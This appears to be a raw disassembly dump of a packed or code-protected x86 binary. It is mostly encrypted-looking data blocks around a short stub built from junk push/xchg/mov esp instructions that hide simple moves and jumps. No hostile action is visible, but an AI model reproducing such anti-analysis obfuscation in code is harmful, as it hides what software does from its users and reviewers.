0C6D99803h, 893DC47h, 4E5D1E89h dd 931664CFh, 925BA714h, 0D742C1C0h, 1A850487h, 61CC4B5Eh dd 1E0D8C1Fh, 0CC89C639h, 97C92040h, 18A3ED42h, 42C20AB4h dd 333E80C9h, 7040E67h, 0E3822647h, 82E357D1h, 0CC6D8D12h dd 96BF2C53h, 0D7E2AC17h, 1398E75Eh, 73EA5DA3h, 0E23DA122h dd 0D23CE072h, 0E5F6B982h, 1EC52084h, 8FEA4E5Dh, 6B42B52Eh dd 2BD5A06Eh, 4C128902h, 0D53BE3Dh, 111A086Dh, 3596AA44h dd 5FE727D1h, 252A9DE6h, 38D5A0C3h, 0E624D865h, 547DFABEh dd 68D8E3ADh, 0E4DC40Dh, 225A236Ch, 0C5262292h, 11960661h dd 0DFB53538h, 6966D91Ah, 69CB9315h, 0EF66DF40h, 5E9B1AA1h dd 0A31398E7h, 0BEFF541Ah, 784A711Ch, 1F80E82Ch, 6CB05ABEh dd 3CFC6FE8h, 6EC18C6Eh, 60091934h, 94F58EE5h, 8C6A74EFh dd 0C0F8CA07h, 1261h, 0F6757643h, 3AB9CA8Bh, 7CFB80CFh dd 0C2414211h, 7860557h, 3F7D689Ah, 0F2C22DACh, 0B10570EFh dd 24CB736h, 2409F877h, 40CB9EB1h, 2D82B420h, 9D1CAFEDh dd 0E861E529h, 539C6D75h, 2286AF2Ch, 677A38AFh, 0AF38A803h dd 0EA61DAE1h, 15B61AA9h, 74E44546h, 0D3E6A813h, 3185FC6Fh dd 68B446B6h, 0D40073ECh, 22D5AB53h, 77DBE8ABh, 0CCBE9104h dd 6B94D5BDh, 123B9A0Ah, 6C275799h, 79367928h, 183FC309h dd 0A68CDBD6h, 0B8287A94h, 0C58BF2BFh, 3CA02370h, 8D0180E1h dd 0D94CC541h, 0DFA2F0C1h, 0CDD0A017h, 71D5FE5Dh, 0F96CB5FEh dd 0CBA630D6h, 1F30D3FCh, 33CBA630h, 30507FF2h, 5982CBA6h dd 0B1FF88F8h, 4D97CC19h, 0BD1E7BD4h, 0DDA0B59h, 5CD5719Dh dd 0B9EDD1E9h, 7BFA23C1h, 4D82F53Eh, 85C1AF2Ah, 1D63EC5Ch dd 40B72A8Eh, 7AFF6F72h, 0C1AFDA51h, 0BFF8C55Eh, 81C5387Dh dd 77E7A395h, 0CB08A0EEh, 226D0A0Bh, 0A4574FC1h, 488B3498h dd 0B3FD68E7h, 0B01190E2h, 0DA7AA24Ch, 28BEEE61h, 5DD4CBB0h dd 0CB268A1Dh, 27C2FC5Bh, 637BEA7Bh, 0A9AF2E8Fh, 0D0749831h dd 54B5E457h, 56C5CD85h, 0A1258605h, 0B6F7240h, 83B4656Eh dd 7A9A42FDh, 0E63F8E01h, 668FF796h, 1E31A4EDh, 34F38F62h dd 0F49BB1FAh, 465DB0Dh, 0FCC23994h, 72D6D5A7h, 0FA37B617h dd 0F55032B8h, 0D141ECEFh, 692D0648h, 1487FA5Eh, 0F38F993Bh dd 2C8DEE17h, 565527C8h, 971404B1h, 88C09235h, 10C5h, 92119ADFh dd 0D6555627h, 1897246Bh, 5EDDEEADh, 0A322A1F3h, 5321CC36h dd 1666D150h, 0EDA91493h, 0AEF05BDAh, 0C8AD9C1Bh, 40CA7A55h dd 0D1265820h, 9D1CAFEDh, 5BCE1760h, 264C7F74h, 0BD92355Eh dd 99264C7Fh, 4C7F2926h, 83002926h, 1F61EA5Ah, 0ED9CD7Bh dd 465CF11h, 12B1FFA0h, 4C46B09Fh, 0CD78AD26h, 6289F081h dd 0F75BBCE5h, 90F7C45Dh, 0A52675CEh, 8563C544h, 3279357Dh dd 18Eh, 0F2D91B5Dh, 0B68DF37Eh, 98E66FDFh, 51219811h dd 477EA4Eh, 264CB3CBh, 0D7DDE07h, 515826C7h, 2B5395D2h dd 0EF382C63h, 0F0372F3Bh, 0AF107CFCh, 0E561AD3Fh, 23A4F56Ch dd 0E5E558B3h, 0F72C53E5h, 86CD6ACEh, 0D5DFB525h, 485B1B92h dd 0B412DFD8h, 732E59D6h, 5185h, 55279E00h, 0E49DE656h dd 0F7460B38h, 76B4A0BBh, 0E0539C15h, 264CC0EFh, 85E9FAB9h dd 1484AD2Ah, 100A46B9h, 0B4C2C53h, 0B5F0B798h, 11729BDFh dd 0F03B10ADh, 3718DFB5h, 0FEBA316Ah, 0BA2C87EBh, 80452002h dd 0EA6ADAD0h, 732ED60Ch, 0BDBBh, 0A3EDE600h, 4113B418h dd 0C728B3FCh, 0EDFCC263h, 97B82B74h, 0BB264C7Fh, 69DC2292h dd 0AF1FA2F2h, 7B405826h, 32B50502h, 0C50173CEh, 83D1A2h dd 6EE0419Ch, 1BB2CCB7h, 8F0E6F25h, 4CBB1E28h, 65743A26h dd 0AAAA72E6h, 13E1BE31h, 73B52C56h, 0E2516A0Ch, 0E544B439h dd 8ECC43BCh, 834082FBh, 7E9BC299h, 0B31E7FEFh, 9A3DE2E1h dd 1019A282h, 0F27063Eh, 387D0000h, 0F4C530AFh, 460974F3h dd 84BB635h, 0C391FC7Bh, 2ED441C0h, 73F2F1C3h, 0B6354808h dd 0FD7C0F4Bh, 3EBDCC92h, 0D8F76A4Fh, 0FA2040C8h, 0AFED73C8h dd 0E75AA31Ch, 264C7FE8h, 0AA397BEAh, 1A8AEB46h, 79004EB9h dd 0A3EDCFFAh, 4D13B418h, 0A54BF3Eh, 4ABD067Fh, 264C7F05h dd 6EB4244Dh, 83FC18C4h, 537F6810h, 42C1EA2Ch, 78840h dd 0AFED9300h, 301BB81Ch, 26264C7Fh, 7F656ADDh, 446D264Ch dd 75504D2h, 0C8389EFAh, 67289636h, 0D63A410Eh, 5BB61A7Bh dd 7EDFEAB4h, 0ADCB9205h, 188F2C59h, 85E04457h, 148DB615h dd 49C8D39Dh, 0A50990DEh, 8E33B604h, 19A72037h, 6683BB8Dh dd 3E00000Eh, 86F1707Bh, 0CA35B437h, 0C77F685h, 52BD3C4Fh dd 95028100h, 0B336846Dh, 0F689C934h, 3D480C77h, 7E0D53BEh dd 0B82B10FFh, 2040C797h, 0ED3489BBh, 329D1CAFh, 86F95D6Ch dd 7F85CA3Dh, 0DCA3264Ch, 0B92952CFh, 0F75B6E30h, 90F7C45Dh dd 0A42775CEh, 0B84E540h, 3F7BC494h, 8CE74BACh, 7B59BB1Ch dd 597934FBh, 0A31396E2h, 1617h, 0D1F14200h, 1F264C8Ah dd 0D19964A6h, 0FB9FEBA0h, 0FD9F6B8Bh, 0F1BEFFFFh, 264C7FDAh dd 84FD19C5h, 0A080F93Bh, 0B0655ED1h, 52FABB40h, 72AC2C59h dd 0BE7CAB39h, 38B11294h, 61D4FFC1h, 0DFBFF56Eh, 25A6F564h dd 0A40566C1h, 0E5F4BA25h, 0F92E081h, 0A778E16Ah, 558D5F19h dd 0D9Dh, 0BA39B207h, 0FE7D0E4Fh, 40BFCC93h, 860586D5h dd 0CB4A591Bh, 0B49A45Eh, 0CE8EF978h, 85D13CBBh, 56188302h dd 0F0D5C443h, 40C6527Dh, 0F94E8020h, 6672D91Bh, 0D2167C73h dd 0BE97D962h, 2F8AEEFDh, 87C96ACEh, 5DF690F4h, 0E672990h dd 0C1933A41h, 80E261C2h, 793517A2h, 1A51h, 0D21B7C00h dd 4C7F705Fh, 0C9396226h, 4C8A0444h, 58632C26h, 0FCE3B9F7h dd 0E40CFFFFh, 30A31C38h, 2C53A0E8h, 25E06CAEh, 71315FE3h dd 1579A201h, 0FF6D60A2h, 62FB4E6Ch, 8E616DF2h, 9374DFB4h dd 0F08A68C6h, 0DC39732Dh, 64000001h, 4C7F8AF1h, 86D9E426h dd 0C732B138h, 0DCEFACF9h, 43BC1D78h, 96FA8DCCh, 7F9FB023h dd 8AB3264Ch, 0D673B929h, 264C7F65h, 1276054Bh, 399D2E71h dd 686337DEh, 4D16A04h, 0C79459E3h, 0C8B1E60h, 71D57398h dd 16EA8ED0h, 109BE4FBh, 3BDF51ACh, 73EC4D71h, 0F898B72Ah dd 91BA264Ch, 0C83C021h, 42CB3B4Eh, 7DF46D7Ch, 0F73DAD3Eh dd 4CF8E15Ah, 4411F226h, 358608E6h, 3DA6E879h, 0C6AB4058h dd 408F027Bh, 92264C47h, 4C6DF969h, 98000001h, 0B418A3EDh dd 0B9F84D13h, 667C226h, 4BCB1387h, 8F7F5FD2h, 48712C53h dd 411A58CFh, 0AD086C7Fh, 1D8DE84Ch, 8F113AD7h, 6142DFB4h dd 0EF583694h, 3C07732Dh, 32000000h, 0A31C38E4h, 0B449B361h dd 0ED5D5F05h, 0C6331F92h, 0FC252C53h, 46D0FB98h, 0C003DFB5h dd 12760949h, 814E47B7h, 2E344523h, 0E3AC2373h, 59BDCC92h dd 0DE399DFEh, 0B4E26Eh, 1B0D0000h, 2DD4D7A4h, 9EF95D6Eh dd 0D0DBA52Eh, 0FA89CB6Ch, 20ABF596h, 46551BBCh, 860556CDh dd 0B04EB516h, 0D8264C97h, 47840396h, 231DE205h, 0F0608ACAh dd 1D96BE5Eh, 0A9ADD5AAh, 692AA1D3h, 22F56149h, 0CF30479Ch dd 5ED7005Fh, 0CFDA9E15h, 2497106Bh, 0DFB92E2Bh, 58EFE27h dd 0D6AFEEB7h, 43A40584h, 881B59C4h, 0A1A31EE3h, 0C2FACC19h dd 0B81h, 0D6555623h, 1A992A6Bh, 5CDBE0AFh, 0A221A2F1h dd 0E7666537h, 1F5D887Ah, 0D2A20D8Ch, 91E550CFh, 622C9716h dd 4E9D857h, 40C4BE91h, 0D629420h, 0A9B7D91Bh, 0F4FD20B8h dd 2AB9FB84h, 6B7E40ABh, 0A3EDC1ECh, 0CA41B418h, 3691F584h dd 68733DC6h, 3FBE7E9h, 0E6280000h, 68959E92h, 0E84A7148h dd 0D48E8E4Bh, 52BA0373h, 3EC606A5h, 2D2052C5h, 9322C59h dd 98A4E90h, 7C7C53C6h, 2D56DFBFh, 8D1ABBBBh, 814DB71Dh dd 0E9990C85h, 7BD5A081h, 7A51EE52h, 59D5A07Fh, 0FB72AB78h dd 30832AB9h, 0E5C343B3h, 926D20FFh, 37Ch, 7FDAF1BDh, 88D2264Ch dd 97264C7Fh, 0DF56CF77h, 4EA90D9Eh, 441083DEh, 0E2C5384h dd 8E740E5h, 23F519ACh, 0AACEBh, 2ABDF800h, 6E7140ABh dd 0B03B84EFh, 0F6F5C631h, 3B4E0C77h, 3AB34FBCh, 7FEA6978h dd 0C22DAC3Fh, 974F3F6h, 0C6B53447h, 0C3616EE1h, 3F712040h dd 18A3EDEAh, 42C20AB4h, 2D2356C9h, 0A332C59h, 4FF7178Bh dd 7F3A63D6h, 133CD5AAh, 5053239Ah, 857F95D7h, 65751580h dd 7E2D94F5h, 0D9D5AA8Fh, 0FD8CCE30h, 5EDD3E99h, 98DAA3F3h dd 72517EF1h, 5881D5AAh, 0BF3296F7h, 0C975807Dh, 44B47FE2h dd 6DE6F5BBh, 0B022A9F6h, 40DFA25Ch, 0A0E656ACh, 0ACE8D6F6h dd 0E15AB519h, 0AACD616Eh, 0E74871D5h, 218FFB6Eh, 66DDDFB5h dd 0C8279712h, 6CB3FA9Fh, 0BF910D8Bh, 9F487h, 0E2E5B000h dd 26B9F863h, 68733CA7h, 0AE3D7EE9h, 0F3F6C42Fh, 0F2FB0774h dd 37A221A0h, 7AE56467h, 0C12CAB3Eh, 7E6DECFFh, 0C3292699h dd 0F7292040h, 1C38E4A2h, 0E8E75AA3h, 0EA264C7Fh, 83F651C1h dd 2C592D1Ah, 43BA335Ch, 20485F73h, 0C4EDF24Dh, 3979E463h dd 58CF42A6h, 8517871Ah, 0D144BD59h, 0D5AADAA4h, 0CCC674AEh dd 0B7C46509h, 2194DD56h, 0D5ABA02Eh, 0A825B4FAh, 2430D7Fh dd 1303C384h, 6BB35DA3h, 2BFF72EBh, 7DDFB4A0h, 0D63A410Eh dd 0E751A7Bh, 240D8B2Dh, 9571A52h, 84D0000h, 0C495007Fh dd 96D944C3h, 581B8605h, 1361CC4Bh, 5EA41190h, 43C2C193h dd 860598D8h, 0CD4C5F1Bh, 0E8D1C62h, 88C73A1Fh, 0CA2040C2h dd 0A41B4398h, 126DD1D4h, 2C5719A2h, 4C7F96B9h, 3682BC26h dd 0D97A799Bh, 0A60A6BCCh, 0CC30BB05h, 65CC9932h, 0AF11901Bh dd 7935AED1h, 19F7Eh, 38E4A900h, 0D030A31Ch, 822C5387h dd 7358F559h, 60DFB488h, 7654B27Fh, 25732DF6h, 180h, 0D2A3ED50h dd 3CA00180h, 47C6D59Bh, 920B0BD3h, 538F3F1Fh, 8F08312Ch dd 0A0B55F4Dh, 81F11241h, 7BB59E3Bh, 0C5A6DFB4h, 376BFF8h dd 0DFB47BCCh, 6736DD06h, 9674F464h, 45732D03h, 45h, 1398E75Eh dd 0A41B5AA3h, 0B6C989DAh, 2696F155h, 53CC4894h, 53AFECE0h dd 2EA1EA2Ch, 0DFB4AF21h, 0EDFCC231h, 5BCD2E89h, 0D3A68DA5h dd 0A0FF6F5Bh, 5D761377h, 7EDFB433h, 9472D09Dh, 43732D47h dd 0D7h, 0DAA41B6Eh, 88D65FCFh, 0BEFC9D01h, 0F669B22Bh dd 264C7FD9h, 7F458AFDh, 648D264Ch, 84EBEE7h, 19921967h dd 6CD0D3A2h, 375B9F11h, 89BF71DCh, 6C32D319h, 58A1DE5Dh dd 4CDAEAE5h, 4FBFE826h, 4C3ECCCAh, 6D589A26h, 8BD96CA1h dd 0B6F881F1h, 0EC30A423h, 71ADEF68h, 0CE99723Eh, 0AF227DEDh dd 2C56EDD0h, 890079A2h, 0CE39B8CBh, 3D58FD8Ch, 0FB19A3E8h dd 7DBF129h, 8CC90000h, 40117CFBh, 0A55C03Fh, 0C4970281h dd 9FDD48C7h, 0E2208D0Ch, 0B736B507h, 0FA790C4Ch, 41C0CB8Fh dd 820188D6h, 143BAE93h, 3E2040C1h, 0D21BB70Ch, 4C7F705Fh dd 0C9396226h, 66297240h, 3596F155h, 76054BB6h, 0FE71BAF7h dd 264C7FD1h, 880586D7h, 5C73E65Fh, 76264C7Fh, 0ED94DD4Dh dd 13B418A3h, 83C53E4Dh, 655B4016h, 0A6077718h, 8DFB2769h dd 8EF2F9C7h, 2FE2C133h, 2A2444B4h, 77000000h dd 9D57452h, 7221940Dh, 42C592Dh, 58BCCF8Dh, 52E8DFDh dd 97308581h, 0E356CF77h, 0D5AA7CB7h, 1C1498C1h, 80h, 0D4A41B6Fh dd 0A2126DD1h, 0CF48CC10h, 539D2C5Ch, 23043E2Ch, 43B662A0h dd 920569CAh, 0BC2F541Bh, 0DFB42A93h, 0D13596BFh, 0FA5B6E30h dd 1C800353h, 86CC51C1h, 0AADFB43Ah, 0D071D5E4h, 4997FB8Eh dd 9F124B18h, 0DFB41AB0h, 0A31879A2h, 6CAEE7B4h, 0DC198D16h dd 6CFE6E31h, 741F5EA0h, 0B444CE01h, 7ADB04DFh, 7D2DA019h dd 0FD5ABA6h, 68CCDFA0h, 0C80881FCh, 0EE4F0E7Fh, 0F20C0E8Dh dd 5F000000h, 0E00B38E4h, 0ED9C25F6h, 9D0184D0h, 780E142h dd 777447BEh, 36138207h, 0F4632C59h, 3F7B22A5h, 642E4BACh dd 96631011h, 1594E65Dh, 684725A5h, 0A4F47328h, 1F000000h dd 0A31C38E4h, 1093E35Ah, 89C639ACh, 0C9264C7Fh, 4ACF3FA0h dd 2C592D58h, 0E4E7B72Eh, 56B52580h, 0C60F102Dh, 0BF2D7C53h dd 5C6F2CDFh, 0F7209DF8h, 1D810450h, 0DF2E52C2h, 0E95C0749h dd 0DFBF2DE6h, 0FE62C3ECh, 2488135Dh, 0C7F9C6B5h, 61957050h dd 0FC127364h, 0D249824Fh, 409BFF82h, 697250D0h, 3C217328h dd 4C000000h, 89D638E4h, 0B528A102h, 2C592DC6h, 53542594h dd 0A3ED94EFh, 0F859B418h, 0BDBC11DBh, 7E54310h, 0B4732852h dd 29h, 3E1184CDh, 14DFBF25h, 266F60D3h, 3A63DFBFh, 1B2069D9h dd 7F705FD2h, 3962264Ch, 9B2444C9h, 5492264Ch, 0FFFFFE91h dd 1C38E4A7h, 2D1530A3h, 143D2C59h, 505B249Bh, 2CF09AE0h dd 483CAF28h, 1AD5AA7Fh, 9FC8EAABh, 0A0B5DEEAh, 8E0768C9h dd 0A9FDD245h, 0ACD5D5AAh, 4183F63Ch, 14F87637h, 0A2F6680Fh dd 326BE576h, 537B0D7Dh, 8EC73AB3h, 0D0DFBF15h, 0E6B72EA7h dd 0B22966E5h, 7839E0E3h, 0B965F767h, 0C8B1249Dh, 8AC180A7h dd 0A047541Bh, 0E69CDD0h, 0F9BD34ADh, 0B1FE75EEh, 0F259BA2Ah dd 59BFF692h, 6A0551C8h, 0EA4ED8F7h, 70D1FA69h, 4A0AB10Ch dd 878D337h, 2BAA317Fh, 0D7A5FEC0h, 5CBDCC8Eh, 21ED97FBh dd 0D39AC25h, 5B63F581h, 0AD1194E4h, 5A83E252h, 0E0AD72F6h dd 2BA43779h, 1D681CE9h, 31A1410Fh, 501165D0h, 0C80B6A0Eh dd 0FB5AAF0Eh, 34D5399Ah, 0E2FE6265h, 5D19804Dh, 1460CB4Ah dd 9AF12D91h, 0D73B4E0Ah, 646736h, 2EBDFEA5h, 7E4B7CCAh dd 0E5464517h, 407946ABh, 321C0FEh, 46B63160h, 6FEEF9BDh dd 0F5D91B44h, 2647F60Fh, 4F912393h, 0CC1052CBh, 0B0240FD3h dd 182D37Ah, 8CD2429Dh, 0B216A5EBh, 0D83C4F11h, 0F9DDF265h dd 0CCF5264Ch, 0ED515A25h, 4E6F3CD1h, 8CFCC9FAh, 44DC642h dd 1BBEC98Dh, 264CF934h, 2485F51Eh, 0C7E4F7B9h, 4517AFFDh dd 7141E246h, 0F8F3C76Eh, 1FACF394h, 0ACCD9ACBh, 2F96631Ch dd 98E15A61h, 4CF92A25h, 8FFF2826h, 0E589C829h, 42B597BBh dd 264CFE0Dh, 0CFAA1C45h, 8EF25318h, 4C6EDEF1h, 49C0E726h dd 9F127609h, 4C6E232Ch, 0A5062F26h, 86F3C35h, 4CB73649h dd 7C197D08h, 264C6E50h, 5BC28F96h, 0D00D8C1Fh, 3F61FC8Eh dd 30A0B3B2h, 4C521FABh, 0BB277426h, 3E232A66h, 0D8623FDDh dd 0F9427935h, 4CAE4986h, 0F0608926h, 0FFFF2864h, 0A3ED8FFFh dd 602E9918h, 2969E059h, 0F8272696h, 61AA23B6h, 4C7FE1EEh dd 21C8F126h, 0DEDD4D5Eh, 0E14815BEh, 30880C9Fh, 7934FB52h dd 0A6FFBB32h, 146FD3D6h, 132041B3h, 0DE198C01h, 6EE26Eh dd 0E40D0000h, 61A31C38h, 0B7877286h, 7480F82Fh, 5BEE62D4h dd 0C4379202h, 2C5960D0h, 5B5C79A2h, 0AB0F9AE4h, 0E08AC538h dd 9FC8DFBFh, 5CAACE3Eh, 265F2CD5h, 0E0656ADDh, 446DDFBFh dd 7A9A42D4h, 0B21A8E01h, 2E70D5AAh, 943F943Ch, 1B7AEA07h dd 0F23B6EF2h, 0AA76507Fh, 0E95982D5h, 6BC9h, 38C80A00h dd 6A43FB9Ah, 167A014Fh, 0A1EA5ABBh, 89D638E4h, 9BFD9AF1h dd 0CC2D519Bh, 0B7FF26Bh, 612C5942h, 0B71BAEEAh, 0BEFED144h dd 0ABD4DFBFh, 0CFDCA34Ah, 0BAD7005Fh, 10E9FF0h, 0E2B9FB34h dd 0F7F5A34Bh, 0D9059707h, 0C125A6F7h, 92F4DB4Eh, 0B5DEDFBFh dd 317AF354h, 75E7FABAh, 4CBD8974h, 0A1269643h, 0D5AA70F5h dd 0B1D2567Fh, 9F18A3EDh, 4485435Dh, 5DCD24F5h, 0E85BA417h dd 264C51E7h, 51537CEFh, 567F264Ch, 0B740B0D9h, 0EF63E2E9h dd 3BAE272Fh, 2C53A11Bh, 62AB244Dh, 0B561E0EFh, 59C9F2DFh dd 615D7613h, 9D7EDFB5h, 1D9472D0h, 8343732Eh, 6E000000h dd 0A31C38E4h, 7FE8E75Ah, 0C1EA264Ch, 7FFAD548h, 0AFD8264Ch dd 599BE43Fh, 9CF8BDF7h, 7203DF3Ch, 9032A315h, 735CCF48h dd 5F264CE1h, 0D41C636h, 4B2C5331h, 59008BD4h, 0C6218516h dd 6ACEF756h, 0B51186CDh, 27F4D5DFh, 7863A5EEh, 80827DFCh dd 0C51E31D4h, 0F334DFB5h, 0B5C54F80h, 0F95A83DFh, 0B62B0989h dd 0C709732Eh, 17884D47h, 0F3DC4F08h, 0DFDFB57Dh, 0E1AE55B6h dd 0AB1B76DAh, 0C71Fh, 0A3ED4A00h, 0CA41B418h, 3C97FB8Eh dd 727143CCh, 37599B0Eh, 8F33385Dh, 0FF5778EBh, 527B264Ch dd 0B6F881F1h, 501EBF23h, 5563CA49h, 75264C04h, 0B621A02Bh dd 0D37DE1E8h, 99B1F30Bh, 403B1A70h, 35A3AC4Fh, 86AF264Ch dd 0B139AC25h, 0E32C53EFh, 7C73BBAh, 4A1386FFh, 0CD5AF0Fh dd 0A7758CBh, 325BD5A3h, 0CD0F58D1h, 1713A7D2h, 0B039A92Ch dd 0F560DFE2h, 0B6990CA7h, 9CD5A345h, 0F559622Dh, 33D8399Ah dd 13BBC85Ch, 7E20582Ah, 26000001h, 6ED95853h, 0B21D9C2Fh dd 0F45FDEEDh, 3AA524A7h, 7DEA6978h, 9B2E6C85h, 0DEE1B11Ch dd 25A0F45Fh, 66753BA6h, 0A013F8E7h, 2040BAAFh, 0ED1C71A3h dd 329D1CAFh, 0B3DE5D6Ch, 0A31C38E4h, 53AF1C30h, 0A90D362Ch dd 0B4AFC70Ch, 663314DFh, 0E1E8B62Dh, 32B2227Dh, 732DCB54h dd 0D0F3BD34h, 0B4A3725Dh, 0D63760DFh, 0C4DA66h, 0ED050000h dd 41B418A3h, 85F584CAh, 0C72BBEFCh, 4C841C2Ah, 67723C26h dd 0A8337DE8h, 0E6F9B82Fh, 98861682h, 8C253A09h, 0CB75BB2Bh dd 138A0303h, 0D9994043h, 88FB56C6h, 0D3AC7AE0h, 168A0932h dd 62D54EF6h, 0D5AE91B8h, 0B00279BAh, 70418E31h, 6891D5A3h dd 46178E07h, 0DF86E145h, 4CA70B90h, 480A81DCh, 0D4FBA39h dd 0FD48D97Eh, 0D4A613BBh, 0A09Ch, 36B10400h, 7A0D4CB7h dd 0BCCF90FBh, 281D23Dh, 475A1883h, 3EA75BC8h, 83EE6D7Ch dd 0C631B033h, 0D78F7F2h, 0CAB93843h, 0B95D72E5h, 43752040h dd 4AFEDEEh, 4C7FBE91h, 2A259826h, 28264C7Fh, 0E05982FFh dd 4C7F626Dh, 0E6477026h, 27B2FC67h, 0A3ED7DA8h, 4D13B418h dd 97CC53Eh, 264C7FC6h, 1273E30Ch, 53D2D9A7h, 0AF13A6E8h dd 5ACEC212h, 0BF8CBD85h, 4831658h, 60C4D799h, 8BEFFCBFh dd 0E754207h, 4FBA3940h, 0DE167A01h, 11h, 41836A31h, 0E713E2D2h dd 0DEEDB3F3h, 4EBE1F7Ah, 1FA8ED05h, 45541ABBh, 717440E1h dd 992C6C0Dh, 0C3C69435h, 0EDFCBE5Fh, 18ABE889h, 3F4C13B4h dd 687B3ADBh db 4, 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] mov esp, [esp] push 0E14h mov [esp], esi push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx mov esi, 61E7072h push edx mov edx, 0FFEE3F89h add esi, edx pop edx push esp mov ebx, [esp] add esp, 4 sub esp, 4 mov [esp], esi pop dword ptr [ebx+8] mov ebx, [esp] push ecx mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp] pop esp mov esi, [esp] push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp] pop esp jmp loc_50B59E ; --------------------------------------------------------------------------- db 45h, 55h, 56h dd 0CC6DCB8h, 0FFC50306h, 53A9A2E0h, 5625FA72h, 3F0BEC09h dd 8BB4C935h, 9257A371h, 11E856h, 84970000h, 73DBB3ECh dd 13E23823h, 0BC7679B7h, 8A0D2C78h, 0D6815AFDh, 52C5D611h dd 6FFFC281h, 0BFF80000h, 25441160h, 0AB0F781h, 0BF0F2544h dd 5832FFF3h, 0D3C68166h, 72F08126h, 0B92EA54Ch, 455C8322h dd 7C33C081h, 0F78B7963h, 0C133F081h, 0CE943C2h, 0F9000000h dd 0B74A1307h, 205067A6h, 89DF56EEh, 9E802h, 52350000h dd 0A2596626h, 66551BC3h, 5EAE25B9h, 6602EA83h, 4A964FB9h dd 0F181664Ah, 0F4FEAD8h, 1885h, 2A35B900h, 2EE96E16h dd 67000000h, 0C233F35Dh, 3DFE1F18h, 338BE4D7h, 0CE97Ah dd 0C9E00000h, 0E8E6B91Fh, 195C1253h, 76E9DE37h, 11FFFFFFh dd 8EF0C7F3h, 0C9DE27C3h, 46E9FDh, 0F0B10000h, 2BD1h, 1C570000h dd 48434AC5h, 0ADF93661h, 8C88A7A5h, 0B7FB7552h, 0F99CBE00h dd 937EE5ADh, 0C7009D89h, 63921DF4h, 0DE1960h, 6 dup(0) dd 0AAEE9h, 0C9976800h, 0CFE9060Ch, 68FFFAB2h, 60CCACBh dd 0FAB2C5E9h, 0CBCD68FFh, 0BBE9060Ch, 68FFFAB2h, 60CCC6Ah dd 0FAB2B1E9h, 0CD3068FFh, 0A7E9060Ch, 68FFFAB2h, 60CCE4Fh dd 0FAB29DE9h, 0CF1568FFh, 93E9060Ch, 68FFFAB2h, 60CD10Fh dd 0FAB289E9h, 0D1E768FFh, 7FE9060Ch, 0F1FFFAB2h, 89573526h dd 24F2D08Bh, 0C3916FECh, 602E0C4Fh, 2DC8A6B5h, 0DE7D983Fh dd 77E43200h, 1348CB99h, 0B1AA6735h, 961D01D3h, 84D433B4h dd 0E9A75F39h, 0EA4F3229h, 2309D148h, 3625EDABh, 1645CF13h dd 9A7D2CF3h, 0BA31C20Dh, 1E044778h, 0FB29E8A6h, 0BAA29274h dd 25D41778h, 94583B02h, 3200DE7Dh, 59597CDFh, 0E8739DC0h dd 5E40C7C5h, 0E378BAA2h, 5C42F1A0h, 0C6E9729Eh, 179E1CFFh dd 72AD68B1h, 87452B6Eh, 25F3D18Ah, 4C4C6FECh, 0A0270DD5h dd 6CA5F06Dh, 0C54BEBB2h, 29EEC41Ch, 508F437Ah, 4FB01DB9h dd 92053h, 0DF7C9B00h, 7AE13301h, 1942CE9Ch, 0B6A56D3Bh dd 500B0AD8h, 4295D772h, 0DCAA88D3h, 7543213Ah, 11DFBD9Eh dd 0AB7D5B00h, 345E40C7h, 9E384D4h, 170D046Ah, 6B36189Fh dd 78BB7EC7h, 0C76BA183h, 34E3267Eh, 1744CD11h, 0B239B139h dd 7EC76AD0h, 0AF2F1255h, 78E74AAh, 78C07B34h, 465376B9h dd 78C05B70h, 72A462FEh, 1CFFC6E9h, 7510378Ch, 16E48FC5h dd 42h, 9D1483Dh, 0C3E6AB23h, 6DB0223Ch, 0CEA53215h, 4B78C098h dd 2D8E508h, 3878C139h, 1A5E81DAh, 0D73965F6h, 4386184h dd 0A9B263BFh, 3C10BF86h, 7312298Eh, 18E48EE3h, 0D4h, 0B0AB6826h dd 0D0468CDh, 2EE72B4Eh, 4BC60A2Dh, 0A56C2A10h, 0E9CC93B6h dd 3427EA2Eh, 6EE4BF56h, 0EF227EC7h, 48068E6Ch, 0E8AC8FCCh dd 0F0F3229h, 76EED40Ah, 200358B8h, 0C06DA093h, 44226578h dd 0C017FEBCh, 0A7AEA153h, 381BCAABh, 9379A1B8h, 0A8B35D1Bh dd 4EDBBE85h, 72B60E11h, 67250B4Eh, 77E430AEh, 0A462EAC8h dd 14B6E972h, 0DE99D599h, 0DE37FBDEh, 0DC96467Dh, 48A917A8h dd 7EC4Ch, 1348CF00h, 0AEAD6735h, 4D0E02D0h, 0EA71A16Fh dd 84D73E0Ch, 76610BA6h, 10DEBC9Fh, 0A9775506h, 4513F16Ah dd 0DFB18FCCh, 359274FBh, 3D1784D4h, 898C4A9Eh, 0DE380F4Eh dd 0E08F083Ah, 4F13F6BDh, 0E9B795C6h, 8F4D3328h, 6FB3D685h dd 0CA91B4A7h, 53C2381Bh, 2309D148h, 0BF9BC59Ch, 0DCFF4278h dd 0FDDF66DEh, 8278C03Ah, 0F9CF5C3Fh, 8778C03Ah, 0C07EE2D9h dd 6648CF55h, 0EB78C03Bh, 48CDF9A8h, 4629F013h, 8FE1DEA7h dd 0B8ADE4h, 4D40000h, 0E72B4E0Dh, 0FD0A2D2Eh, 7EC76F22h dd 0CCAAB160h, 254813FEh, 28AF3C25h, 7EC76746h, 0A6C99284h dd 8B7FADFh, 28ECAA22h, 0D0C35033h, 9478C06Ch, 0D8ED17CFh dd 0DA159BCCh, 0ACD99726h, 0F8C6F1Eh, 0E928E6CCh, 8CCF4672h dd 0B0A933A9h, 0C9FD846Ah, 0E72B604h, 0EE27E5CBh, 8F078F6Dh dd 0B6B52608h, 8568AB72h, 0D00754C1h, 17A980D6h, 0EACCC829h dd 0D1000006h, 69371546h, 4D2B0ABh, 0A3714F0Ch, 400EEC6Fh dd 0DA886D5h, 0BE9D785Fh, 570412E0h, 0F368AB79h, 91CA4715h dd 76FDE1B3h, 84D43694h, 4AA03F19h, 6B694BD2h, 0ABEE7EC7h dd 4A1104C8h, 0E8739E6Ch, 0D049B0Ah, 9EA3684Eh, 344B77C7h dd 0CE12CDB0h, 0A33A1843h, 7EC7F8CDh, 260CD247h, 0CDAF36AEh dd 0B7EC7F7h, 2C6F5407h, 63461500h, 0BABE55D6h, 0F1D71A78h 